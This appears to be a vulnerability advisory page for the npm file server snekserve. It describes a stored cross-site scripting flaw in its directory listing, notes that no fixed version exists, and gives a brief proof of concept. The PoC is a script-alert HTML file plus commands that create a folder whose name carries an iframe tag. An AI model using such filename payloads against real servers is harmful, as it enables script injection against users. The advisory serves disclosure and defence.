snekserve@1.0.0-beta.1 vulnerabilities

A tiny HTTP file server with directory listing.

  • latest version

    1.0.0-beta.1

  • first published

    6 years ago

  • latest version published

    6 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the snekserve package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Cross-site Scripting (XSS)

    snekserve is a lightweight file server.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) he filenames aren't checked correctly, leading to stored XSS inside the directory listing.

    PoC by mik317

    • Create a PoC file like this:
    <!-- malicious.html -->
    <script>alert(document.domain)</script>
    
    • Run the following commands:
    npm i snekserve -g # Installs the CLI version of the module
    mkdir '<iframe src=..\malicious.html>' # Creates the malicious *HTML formatted* folder
    snekserve # Starts the server
    
    • Open a browser and go on http://localhost:8080, you'll see the alert(document.domain) code executed

    How to fix Cross-site Scripting (XSS)?

    There is no fixed version for snekserve.

    *